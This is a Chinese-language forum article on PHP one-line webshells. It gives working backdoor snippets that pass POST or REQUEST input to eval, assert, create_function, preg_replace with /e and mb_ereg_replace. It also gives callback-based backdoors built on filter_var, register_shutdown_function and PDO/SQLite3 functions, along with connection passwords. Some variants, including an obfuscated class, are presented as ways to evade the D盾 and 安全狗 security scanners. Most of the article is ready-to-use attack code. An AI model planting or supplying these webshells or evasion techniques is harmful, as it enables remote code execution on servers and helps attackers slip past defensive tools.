问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
关于php一句话木马的学习
渗透测试
# php一句话后门 ## 开发很久的可利用函数 ### eval和assert php任意代码执行的一句话后门,我们喜欢用的是传统的**eval**,php5,7通用。 ``` <?php @eval($_POST['a']) ?>...
php一句话后门 ======== 开发很久的可利用函数 ---------- ### eval和assert php任意代码执行的一句话后门,我们喜欢用的是传统的**eval**,php5,7通用。 ```php <?php @eval($_POST['a']) ?> ``` 但由于eval不能拆分,早期也有人喜欢用**assert**,这样通过编码和拆分assert,隐蔽性更高 ```php <?php @assert($_POST['a']) ?> ``` 虽然有人说assert在php7.0及其以上版本被禁用,但实际上并没有禁用,而是和eval一样禁止拆分了。 绝大部分一句话后门,都跟这两个函数(其实不是函数)有关 ### create\_function和preg\_replace函数 **create\_function**,它的作用是创建一个匿名函数,在内部也相当于执行了一次eval。php5,7都可用 ```php <?php $st=@create_function('',$_POST['a']);$st();?> ``` /e修饰符,也就是大家熟知的**preg\_replace**。这个则是真的php7用不了了,仅限php5。 ```php <?php @preg_replace('/.*/e',$_POST['a'],'');?> ``` 除了preg\_replace之外,还有一个和它类似的函数。 ```php <?php @preg_filter('/.*/e',$_POST['a'],'');?> ``` 这两个都是仅限php5的,php7也想用这种方法怎么办呢?有办法,php并没有完全将/e修饰符赶尽杀绝。 ```php <?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?> <?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?> ``` 它们甚至还有别名 ```php <?php @mbereg_replace('.*',$_POST['a'],'','ee');?> <?php @mberegi_replace('.*',$_POST['a'],'','ee');?> ``` 绕D盾方法 ----- 上面这些都开发出来很久了,单纯拿这些去绕D盾是很难的,这里也不是来教大家绕D盾的。想绕的话,其实D盾对类的检测力度不高,自己写个混淆一点的类,php5用assert拆分,php7用create\_function拆分其实就很容易绕过去。举个例子 ```php //该例子为create_function拆分,php5.3.29和5.2.17测试完不可行,php5.4.45-php7都可行。故php5用assert拆分,php7用create_function拆分这样最稳 <?php class create{ public $filter = ['q'=>'_function']; public $value = ''; public function __construct(){ $this->value = $_POST['a']; $name=get_class($this).$this->filter['q']; $st=$name('',$this->value); $st(); } } $a = new create(); ``` ### 免杀一句话木马之回调函数 回调函数的本质是下面这种代码,以函数作为变量。 ```php <?php $_GET['a']($_GET['b']);?> ``` 比较老的回调后门 URL地址:<http://127.0.0.1/1.php> 连接密码:pass php中call\_user\_func是执行回调函数的标准方法,这是比较老的后门了: ```php <?php call_user_func('assert', $_REQUEST['pass']); ``` ```php <?php call_user_func_array('assert', array($_REQUEST['pass'])); ``` 真免杀回调后门(过安全狗,D盾) URL地址:<http://127.0.0.1/1.php?e=assert> 连接密码:pass ```php <?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); ``` ```php <?php filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); ``` ```php <?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); ``` ```php <?php mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); ``` 下面这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的: ```php <?php $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateFunction('myfunc', $e, 1); $sth = $db->prepare("SELECT myfunc(:exec)"); $sth->execute(array(':exec' => $_REQUEST['pass'])); ``` 上面这种sqlite方法是依靠PDO执行的。我们也可以直接调用sqlite3的方法构造回调后门,前提是php5.3以上。 ```php <?php $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute(); ```
发表于 2021-05-31 17:16:23
阅读 ( 5861 )
分类:
WEB安全
2 推荐
收藏
0 条评论
请先
登录
后评论
Johnson666
19 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!